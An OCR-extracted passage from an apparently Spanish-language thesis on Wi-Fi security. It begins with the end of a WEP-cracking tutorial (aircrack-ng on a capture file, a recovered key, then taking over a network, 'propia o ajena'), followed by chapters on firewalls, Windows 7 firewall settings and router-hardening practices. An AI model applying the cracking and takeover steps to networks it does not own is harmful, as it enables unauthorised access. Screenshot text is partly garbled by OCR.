llustracién 32 Captura del comando "Is"

Este comando nos muestra los archivos que tenemos en la carpeta root, como
podemos ver estan los archivos de captura que he tomado para este tutorial, asi
como algunos otros, de aqui el que nos servira es el de crackwep-0l.cap Que
regresando un poco fue el nombre que le dimos al utilizar en airodump-ng la
opcion -w, pero solo habiamos puesto crackwep, es por eso que utilizamos el

comando "Is".
El archivo que utilizaremos siempre sera el que tenga la extension .cap

Ahora que tenemos el nombre, llego la hora de usar aircrack-ng, para esto

usaremos el siguiente comando:

aircrack-ng crackwep-01.cap
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Donde:

crackwep-0l.cap es el nombre del archivo que creamos con airodump-ng y en
donde se guardaron los paquetes de la red. Entonces aparecera una pantalla

como la siguiente: Ver ilustracion 33

* root@bt: ~

¢ Edit View ferminal

% | root@bt: ~

llustracion 33 Captura del comando "aircrack-ng crackwep-01l.cap”

Como se puede observar, obtuvimos los Iv's suficientes y a un lado de KEY
FOUND aparece entre corchetes; la clave que en este caso es "0701714181"

como se muestra en la imagen anterior.
Esto seria todo una vez obtenida la clave reiniciamos la computadora y sacamos

el LiveCD o la USB donde tenemos Backtrack 5 r3, esto para que no vuelva a

entrar y entre al sistema operativo instalado normalmente.
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Cabe mencionar que hay modems con mayor seguridad que otros y durante el
tutorial se pueden encontrar problemas como en la falsa autentificacion. Algunos
de ellos tienen un filtro MAC el cual sélo permite conectarse a las direcciones que
introduzcas en el mediante su interfaz. También es necesario tener buena sefial,

de otra manera habra un poco mas de dificultades.

Si tenemos algunos problemas como los mencionados, solo basta reiniciar con
Backtrack 5 r3 y volverlo a intentar o en su debido caso moverse a un lugar donde

se tenga mejor senal de la red a la que queremos atacar o “hackear”.

3.4 Dentro de unared

Una vez dentro de una red ya sea propia o ajena, lo que sigue ya es propio del
usuario aunque se pueden hacer varias cosas como explico a continuacion; una
de las cosas que se pueden hacer es cambiar el nombre de la red el llamado
SSID, este es el nombre con que se da a conocer nuestra red a las demas

computadoras o equipos inteligentes.

Otra de las cosas importantes que se puede hacer es cambiar la contrasefa del
modem, recomiendo que en este punto si es modem propio cambiar la contrasena
a una mas segura, mas adelante explicare esto mas detalladamente; por otro lado
también se puede cambiar el canal de transmision de la red y el tipo de seguridad
de la misma ya sea TKIP, AES, PSK, etc.

Estando dentro del modem podemos observar los equipos conectados a esa red y

podemos dar privilegios a una computadora o en su debido caso negarle el acceso

al modem, asi como deshabilitar o habilitar la red Wi-Fi.
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Capitulo 4

4.0 Mantener segura nuestra red Wi-Fi

Las redes Wi-fi son cada vez mas utilizadas y todos los ordenadores y/o
dispositivos tales como tabletas, smartphones, impresoras, etc., modernos estan
preparados para trabajar con este tipo de red sin dificultad alguna. Una de las
cosas a considerar es que cada dia mas y mas usuarios optan por tener una red
inaldmbrica y las mismas empresas que prestan este servicio de internet ofrecen

este tipo de red, esto ha llevado a un gran crecimiento en el uso de redes Wi-Fi.

El mayor problema de seguridad de las redes Wi-Fi viene dado por su dispersion
espacial. No esta limitada a un area, a un cable o una fibra éptica, ni tienen puntos
concretos de acceso 0 conexion, si no que se expande y es accesible desde
cualquier punto dentro de su radio de cobertura. Esto hace muy vulnerables a las

redes inalambricas pues la seguridad fisica de dichas redes es dificil de asegurar.
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La posibilidad del acceso o monitorizacion de los datos es una amenaza muy real.
Es por esta razén que todos los equipos permiten la encriptacion de las
comunicaciones mediante diversos algoritmos, que permiten tanto autenticar a los
usuarios para evitar accesos no autorizados, como evitar la captura del trafico de

la red por sistemas ajenos a esta.

Otra de las consecuencias de ser una red via radio es la influencia de otras
fuentes radioeléctricas, ya sean otras redes Wi-Fi, equipos radio que trabajen en la
misma banda o aparatos de distinta indole que generen interferencias. Es por
tanto posible la generacién de una interferencia premeditada que bloquee la red

Wi-Fi y evite el funcionamiento de esta.

Es por esta razon que debemos de tener nuestra red lo mas segura posible, o que
podemos hacer es pasar desapercibidos o hacer mas complicado el ataque, tal

vez de esta manera podamos evitar que desistan.

4.1 Firewall

Un Firewall es un dispositivo que funciona como cortafuegos o barrera entre

redes, permitiendo o denegando las transmisiones de una red a la otra.

Un uso tipico es situarlo entre una red local y la red Internet, como dispositivo de
seguridad para evitar que los intrusos puedan acceder a informacion confidencial,
de igual forma esta barrera examina todos y cada uno de los paquetes de
informacion que tratan de atravesarlo. En funcion de reglas previamente
establecidas, el Firewall decide qué paquetes deben pasar y cuales deben ser

bloqueados.
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Un Firewall es simplemente un filtro que controla todas las comunicaciones que
pasan de una red a la otra y en funcion de lo que sean permite o deniega su paso.
Basicamente un Firewall es una especie de barrera delante de nuestro equipo. Ver

ilustracion 34

Muchos tipos de Firewalls son capaces de filtrar el trafico de datos que intenta salir
de nuestra red al exterior, evitando asi que los diferentes tipos de cédigo malicioso
como caballos de Troya, virus y gusanos, entre otros, sean efectivos. El Firewall
actua de intermediario entre nuestro equipo (o nuestra red local) e Internet,

filtrando el trafico que pasa por él.

llustracién 34 Representacion de un Firewall

Dependiendo del Firewall que estemos utilizando, también podremos aprobar
algunos accesos a la red local desde Internet, si el usuario se ha validado como

usuario de la red local. Existen 3 tipos de Firewalls:
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4.1.1 Firewalls de aplicacion

Tienen un costo pequefio y son una buena eleccion cuando sélo se utiliza una PC.
Su instalacién y actualizacion es sencilla, pues se trata de una aplicacion de
seguridad, como lo seria un antivirus; de hecho, muchos antivirus lo traen por
default e incluso el propio Sistema Operativo Windows poseen Firewalls para

utilizar.

4.1.2 Enrutadores de hardware

Su principal funcion es disfrazar la direccion y puertos de la PC a los intrusos.

Suelen tener cuatro puertos de red para conexion mediante cableado.

4.1.3 Firewalls dedicados

Son mas caros y complejos de manejar en el mantenimiento y actualizacion. Los
Firewalls de hardware son mas indicados en empresas y grandes corporaciones
que tienen multiples computadoras conectadas. También suelen utilizarse en
aquellas empresas que prestan servicios de hosting y necesitan seguridad en los

servidores.

Firewall de Aplicacion

El mas usado en empresas pequenas y hogares comunmente es el Firewall de
aplicacion, a continuacion se explica de forma general como activarlo y se dan a
conocer algunas caracteristicas del mismo. Posiblemente el hecho de que
Microsoft incorpore en tu Sistema Operativo Windows un cortafuegos (Firewall),
sea motivo de confianza para no tener que desactivarlo y utilizar otro, asi que lo

veremos en su version de Windows 7.
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El Firewall de Windows 7 al estar incorporado en el propio sistema operativo de
Microsoft ofrece como ventaja principal una perfecta integracion y gestion de los

recursos del propio sistema.

Para la localizacion del Firewall de Windows 7 solo tendras que seguir los
siguientes pasos: Inicio > Panel de Control > Sistema y seguridad y
aparecera la siguiente pantalla donde podras acceder a las funcionalidades del

Firewall de Windows. Ver ilustracion 35

@@v 3 » Panel decontrol » Sistemay seguridad »

Ventana principal del Panel de o T Vil T
control » entro de activ
Sistema y seguridad ¥ Camt

Redes ¢ Internet

Hardware y somdo

P Firewall de Windows

rogramas

9 R Ao
-

Cuentas de usuario y
proteccion infantil

Sistema

Apariencia y personalzacion

Reloy, idioma y regidn

Accesibilidad

llustracién 35 Panel de control - Sistemay seguridad - Firewall de Windows
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Como se habran dado cuenta llegar hasta este paso es demasiado sencillo, de

igual forma con la configuracién del Firewall no es nada del otro mundo, a

continuacion daremos click donde dice Firewall de Windows, el cual nos

mostrara el submenu de opciones y la visualizacién de la configuracion del

Firewall. Ver ilustracion 36

Ventana principal del Panel de
control

@gv ﬂ » Panel de control » Sistemay segunidad » Firewall de Windows

Permitir un programa o una
Caracteristica a través de
Firewall de Windows

Cambiar la configuracion de
notificaciones

Activar o desactivar Firewall de
Windows

Restaurar valores
predeterminados

Configuracién avanzada

Solucidn de problemas de red

Centro de actividades

Centro de redes y recursos
compartidos

Ayude a proteger su equipo con Firewall de Windows
Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al
equipo a traves de Intemet o de una red

uda un firewall a proteger mi equig

je red

. 0 Redes domésticas o de trabajo (privadas) No conectado (¥

l 0 Redes publicas Conectado &

Redes en lugares pablicos como aeropuertos o cafeterias

Estado de Firewall de Windows: Activado

Conexiones entrantes: Bloquear todas las conenones a los programas que
no estén en la lista de programas permatidos

Redes publicas activas: Red 2

Estado de notficacion: Notificarme cuando Firewall de Windows bloguee
un nuevo p'Og'J"\ﬂ

llustracion 36 Submenu del Firewall de Windows

Las opciones que muestra son las siguientes:

La primera opcion es la configuracion de los permitir un programa o una

caracteristica a través de Firewall de Windows.
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Esta opcion nos permite ver los detalles de cada uno de ellos (programas
instalados en nuestra computadora), activar el cambio de configuracién o realizar

nuevos permisos de otros programas que queramos anadir.

En la segunda y tercera opcidon nos permite Cambiar la configuracion de
notificaciones o Activar o desactivar Firewall de Windows. Ambas opciones de
este submenu nos llevan a la personalizacion de la configuracion para elegir,
activando o desactivando sus opciones ya explicadas anteriormente. La

configuracion que nos muestra graficamente se representa como Firewall

W

activado a, Firewall desactivado o Bloqueo de todas las conexiones

entrantes @ Ver ilustracion 37

@L = i « Sistema y seguridad » Firewall de Windows » Personalizar configuracion

Personalizar la configuracion de cada tipo de red

Puede modificar la configuracién del firewall para cada tipo de ubicacion de red que use
Configuracidn de ubscacion de red doméstica o del trabajo (prvada)
a @ Activas Firewall de Windows
Bloguear todas las conenones entrantes, incluidas las de la hista de programas permitidos

4 Motificarme cuando Firewall de Windows bloguee un nuevo programa
23 Desactrear Farewall de Windows (no recomendado)
Configuracion de ubscacion de red publica
o Activar Firewall de Windows

Bloguear todas a4 conedones entrantes incluidas las de la lista de programas permitides

¢ Motificarme cuando Finewall de Windows bloguee un nuevo programa

w Desactrear Farewall de Windows (no recomendado)

Acephar Cancelar

llustracion 37 Configuracion del Firewall de Windows
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La cuarta opcidén es Restaurar valores predeterminados, esta opcion lo que

hace es que nos devolvera a la configuracion por default del sistema.

La quinta y ultima opcion del menu de Firewall de Windows es el acceso a la
Configuracién avanzada que nos permitira dar una gestion mas personalizada de
cada una de las reglas establecidas y nos permite, ademas de tener una vision
mas pormenorizada de cada una de ellas, habilitarlas o deshabilitarlas, cortarlas,
eliminarlas,.... Esta opcion es para usuarios mas avanzados en el tema de Firewall

(no recomendado a usuarios inexpertos en el tema).

Como nota importante cabe mencionar que cada vez que Windows intercepte una
conexion o programa que no tenga contemplado en sus permisos nos mandara un

aviso si asi se lo hemos configurado en las opciones anteriores. Ver ilustracion 38

f Alerta de seguridad de|

Firewall de Windows bloqueé algunas caracteristicas de este
programa

Firewall de Windows bloqued algunas caracteristicas de Apache HTTP Server en todas las redes
pdblicas y privadas.
\ Nombre: Apache HTTP Server

Editor: Apache Software Foundation
Ruta de C:\xampp\apache \bin \httpd.exe

acceso:
Permitir que Apache HTTP Server se comunique en estas redes:
/| Redes privadas, como las domeésticas o del trabajo

Redes plblicas, como |as de aeropuertos y cafeterias (no se recomienda porque
estas redes plblicas suelen tener poca seguridad o carecer de ella)

¢Cual es el riesgo de permity QUE Un programa pase es de un frewal?

| Permitr acceso | | Cancelar

llustracion 38 Permisos del Firewall de Windows
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4.2 Buenas practicas de uso en las redes

Cando se piensa en vulnerabilidad de una red Wi-Fi se considera, como lo hemos
hecho hasta ahora, la posibilidad de que un cliente no autorizado acceda a datos
de la red. Sin embargo existe otro peligro: la inclusion de un punto de acceso no

autorizado en la red.

Un atacante puede anadir un punto de acceso que anuncie el mismo nombre de
red, confundiendo asi a algunos clientes que se podran llegar a conectar a €l en
vez de a la red legal. Dependiendo de la elaboracién de la suplantacion, el cliente

puede llegar a revelar datos y claves importantes.

Por ello es que la seguridad es una de los temas mas importantes cuando se
habla de redes inalambricas. Desde el nacimiento de éstas, se ha intentado el
disponer de protocolos que garanticen las comunicaciones, pero han sufrido de

escaso éxito.

Por ello, se dan a conocer una serie de recomendaciones para tener en cuenta a

la hora de mantener segura una red inalambrica:

4.2.1 Cambiar frecuentemente el password y/o contrasefia

Esto es basico y uno de los puntos mas importantes en cuestiones de seguridad
de una red inalambrica, nunca se debe dejar la contrasefa que trae por default él
Router, normalmente esta contrasefa es la misma que la contrasefa de
administrador. Esto implica que si alguien descubre la contrasefa puede tener

acceso a administrar el equipo y hacer una serie de cambios en él.

La contrasena es uno de los factores mas importantes en cuestion de seguridad,
la recomendacién es usar contrasefias minimas de 8 caracteres y que contengan
letras tanto mayusculas como minusculas de igual forma poner numeros y

simbolos.
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Evitar contrasefias obvias o muy faciles de encontrar como por ejemplo
“‘qwerty0123” o “abc123”, trate de usar contrasefias un poco mas complejas por

ejemplo “Dragon-fuego@548” o “cAsa$98/solA”.

“Existen otros trucos para recordar claves aparentemente complejas. Por ejemplo:
reemplazar letras por numeros o signos ('<OmOk#O?  en vez de ";Coémo que
no?°), elegir una palabra sin sentido, aunque pronunciable (‘m1k0f3” por ‘micofe’)
o utilizar acronimos e frases no populares (Np6+x1N por ‘No puedo beber mas por

las noches’).” (Gémez, 2011).

Lo mas importante de todo, es que para evitar accesos no autorizados a una red,
es imprescindible no compartir la contrasefia con nadie solo debera saberlo el
propietario de la red y/o el administrador de la misma, asi como cambiarla
frecuentemente, al menos dos veces por mes, si es de mision critica o cada seis

meses si no lo es.

4.2.2 Activar encriptacion

Esto es en pocas palabras cambiar el tipo de seguridad de nuestra red. Es
recomendable usar el cifrado WPA ya que, como ya se mencioné en capitulos

anteriores, es mas seguro y mas fiable que el cifrado WEP.

4.2.3 Cambiar el nombre del SSID

Este es el nombre con el que puedes ver tu red de forma inalambrica para
conectarte, asi es como identificas que efectivamente es tu red, cuantos infinitum
han vistié por todos lados, estos son equipos a los que no se les ha cambiado el
nombre que traen por default por ejemplo “INFINITUM2F014” y probablemente

tampoco han cambiado la contrasefa del mismo.
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En este punto es recomendable cambiar el nombre de nuestra red (SSID) por
cualquier otro que les guste, cabe mencionar que para despistar un poco a los que
quieran entrar a nuestra red, es preferible que el nombre no dé a conocer el
modelo del Router, ni el nombre de la empresa o el nombre del proveedor de
servicio, por ejemplo: si nuestra empresa se llama “Kesitos S.A de C.V” no poner

como nombre de la red “Kesitos”.

Otra alternativa, aunque no es muy recomendable hacerlo ya que podemos olvidar
el nombre correcto de nuestra red, es ocultar el nombre de la SSID, esto quiere
decir que estara visible nuestra red pero no se mostrara el nombre de la misma.
De esta forma cualquiera que se quiera conectar debera saberse el hombre de

nuestra red.

4.2.4 Habilitar filtrado por Mac

Esta es una de las funcionalidades mas seguras ya que solo las direcciones Mac
que des de alta en tu dispositivo tendran acceso, para poder hacer esto tienes que
saber que dispositivos se conectaran y hacer un listado de los dispositivos

permitidos en tu Router.

La direccion MAC es una direccion de nivel 2 que lleva la tarjeta de red Wi-Fi
grabada de fabrica (analoga a la direccion MAC-Ethernet), el problema con este
meétodo es que si tienes una visita y quiere tener acceso necesitaras entrar a tu
Router e incluir sus direcciones Mac para que tengan acceso, por otro lado el
método no es infalible ya que existen tarjetas de red que permiten el cambio de la
direccion MAC, y en ese caso seria posible para un atacante de nuestra red,
asignarle una direccion valida de alguno de nuestros equipos y evitar esta medida

de seguridad.
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Pero para ello, el atacante, deberia conocer la direccion MAC de alguno de
nuestros equipos, lo cual si las medidas de seguridad fisica e informatica estan

correctamente implementadas en nuestra empresa y hogares no resultara facil.

4.2.5 Establecer un limite de dispositivos en la red

Esto es simplemente saber con cuantos dispositivos cuento y cuantos de ellos
pueden conectarse a la vez de forma inalambrica y alambrica. En una red del
hogar, el numero no debe ser muy alto aproximadamente menor o igual a 5, a
diferencia de una pequefa empresa que pueda tener mas de 15 equipos
conectados al mismo tiempo, esto se define por politicas de la empresa y esta

decide quienes y cuales son los dispositivos que se conectaran a su red.

4.2.6 Revisar periodicamente los dispositivos conectados

Esta practica te ayuda a ver si algun dispositivo que no autorizaste esta conectado
o lo estuvo, ya que los dispositivos que se conectaron en algun momento
permanecen visibles en la configuracion aun cuando ya se desconectaron, los
Routers mas nuevos tienen la funcionalidad de identificar el tipo de dispositivo
conectado con diferentes iconos para que sepa si estuvo conectada una PC o un

dispositivo movil en tu Router, incluso saber si era una Mac o equipo Windows.

De esta forma logramos tener un control superior de nuestro Router y de igual
forma estamos pendientes del acceso a nuestra red. Si encontramos un
dispositivo el cual no conocemos y como ya mencione esta o estuvo conectado a
nuestra red, entonces eso quiere decir que en algun punto de nuestra

configuracion de seguridad del Router esta débil o habra que reforzar esa parte.
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4.2.7 Instalacion de un Firewall

Respecto a este punto ya mencionado habra que utilizar el tipo de Firewall acorde
a nuestras necesidades. El acceso de los clientes Wi-Fi a la red cableada deberia
ser gestionado por un Firewall, ya sea actuando de puente entre las
correspondientes VLANs o como elemento fisico de control, interponiéndose en el
flujo de trafico Wi-Fi. Esto propicia un correcto funcionamiento de la red y por ende

una mayor seguridad.

En cualquier arquitectura de red, incluir un Firewall nos permitira implementar
politicas de acceso seguras y complejas que aseguren que, aunque algun intruso
hubiese conseguido conectarse a la red inalambrica de forma no autorizada o

permitida, no progrese hasta tener acceso a datos sensibles.

4.2.8 Mantén actualizado tu Router

Los Routers mas recientes te avisaran cuando hay una actualizacién para tu
equipo, practicamente lo que se hace aqui sera dar click para que se actualice
nuestro dispositivo con las mejoras mas actuales y disponibles, algunos se
actualizan automaticamente, pero no esta de mas revisarlo periédicamente ya que
estas actualizaciones podrian estar relacionadas con temas de seguridad en la red

0 mejoras en el desempenio del Router.

4.2.9 Cambiar todas las claves regularmente

Este es otro punto muy importante ya que la mayoria de las personas hacen caso
omiso de esto y dejan la contrasefa que viene por default o en su debido caso

jamas vuelven a cambiar la contrasefia que asignaron.
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Tanto las claves de acceso a nuestra red, como las de la administracion del AP
(Access Point) o Router deben de ser cambiadas constantemente, recomiendo
hacer esta practica aproximadamente cada mes o cada dos meses, de esta forma
si alguien intenta acceder a nuestra red le sea complicado ya que constantemente

se esta renovando la contrasefa de acceso.

4.2.10 Desactivar el AP

Es recomendable que cuando no se utilice el Router por cuestion de que se
presente una situacion de salir por unos dias del domicilio donde se encuentra
instalada la red (ya sea por motivos de trabajo o por vacaciones) y/o empresa (por
motivo de puentes, vacaciones o dias de asueto), o no se esté utilizando en el
momento se apague, de esta forma y por razones obvias nadie tendra acceso a

nuestro Router.

Cabe destacar que no es muy recomendable hacer esta practica en empresas
cuya funcién se basa en el manejo de datos con otras empresas, ya que al apagar
el Router se perderan grandes cantidades de informacion importantes para ambas

o0 multiples empresas y de igual forma se perdera comunicacién con ellas.

Normalmente nadie cambia estos datos en su red inalambrica y esto las hace muy
faciles de hackear, en aproximadamente 15 minutos un usuario con conocimientos
moderados podria obtener la llave de acceso a tu Router y el siguiente paso es tu

informacion personal.

Siguiendo estas recomendaciones podemos hacer que nuestra red inaldambrica
sea mas segura y podemos hacer las cosas mas dificiles a cualquiera que intente

entrar en ella.
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Ninguno de estos métodos es 100% seguro, pero el uso de varios o todos estos
meétodos en conjunto nos ayudara a tener mas seguridad y que sea mas dificil que
alguien logre descifrar tu clave de acceso y/o tener acceso de forma no autorizada

a nuestro Router.

Si por alguna razon se te hace dificil modificar estos parametros en tu Router, la
mejor recomendacion es llamar al prestador del servicio de internet que tengamos
en nuestro hogar o empresa, para que ellos nos vallan guiando de manera facil y
sencilla en la configuracién de estos parametros sin temor a des configurar o

alterar datos.

Aun asi y con todas estas medidas de seguridad no estamos fuera de un ataque o

alguna infiltracion a nuestro Router y/o Modem.

Por ello empresas como Cisco, Lynksys, Motorola, entre otras, estan trabajando
arduamente para brindarnos la mayor seguridad posible en sus AP’s que ofrecen y

cada dia los van mejorando y actualizando conforme avanza la tecnologia.
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Conclusiones

La tecnologia inalambrica (Wi-Fi) sin duda facilita la vida cotidiana de las
personas. Gracias a esta, los usuarios ya no dependen de un cable para poder
utilizar servicios en Internet. Hay que evaluar aspectos relativos a los limites de la
WLAN, tanto desde el punto de vista de la cobertura de la sefial, como del control
de los dispositivos en dicho entorno, evitando los puntos de acceso no

autorizados.

Asi mismo hay que tener en cuenta los avances en los estandares que mejoran la
seguridad de estas instalaciones, y por supuesto, educar a los usuarios en
practicas que les ahorren disgustos como por ejemplo, no habilitar una tarjeta en
modo ad-hoc, o no dejar configurado el cliente WIFI para que se conecte a
cualquier WLAN abierta.
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No obstante, esta tecnologia también permite a terceros interceptar la informacion
que el usuario transmite de forma mas sencilla que en redes cableadas. Esto es
mas complejo si se tiene en cuenta que existe una extensa cantidad de redes Wi-

Fi publicas e inseguras.

Como se explicod en este trabajo, hay diversas formas de romper la seguridad de
una red inalambrica mediante algunos programas y software, esto nos indica que
cualquier persona con conocimientos basicos en redes y teniendo las

herramientas necesarias puede entrar a nuestra red sin ser detectado.

La seguridad en las redes inalambricas es una necesidad, dadas las
caracteristicas de la informacion que por ellas se transmite. Sin embargo, la gran
cantidad de las redes inalambricas actualmente instaladas no tienen configurada
seguridad alguna, o poseen un nivel de seguridad muy débil, con lo cual se esta

poniendo en peligro la confidencialidad e integridad de dicha informacion.

Existen diversas soluciones para mejorar la seguridad en las redes inalambricas.
Su implementacion depende del uso que se vaya a dar a la red (casera o
empresarial), de si es una red ya existente o una nueva, y del presupuesto del que

se disponga para implantarla, entre otros factores.

El método mediante WEP con clave estatica es el minimo nivel de proteccion que
existe. En una red casera puede ser suficiente; en una corporativa, el uso de WEP
esta formalmente desaconsejado, por la facilidad con la que se pueden romper las

claves WEP en un entorno de alto trafico.
Actualmente el unico ataque contra WPA es la fuerza bruta, lo que implica que

solo sera realmente efectivo el ataque, si la contrasefia que usamos esta basada

en diccionario o es muy simple.
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Cabe mencionar que en la practica si la clave es WPA, compleja y larga y ademas
tiene algun tipo de seguridad extra, como filtrado por MAC, o DHCP desactivado,
practicamente estamos seguros que el acceso a nuestra red seria tan complejo,
que se necesitaria mucho tiempo y sin garantias de que se podria conseguir la

contrasefa, lo que haria desistir a cualquiera.

Sea por cable o por el aire, la informacion del usuarios puede estar expuesta; y es

siempre necesario considerar la mejor forma de protegerla.
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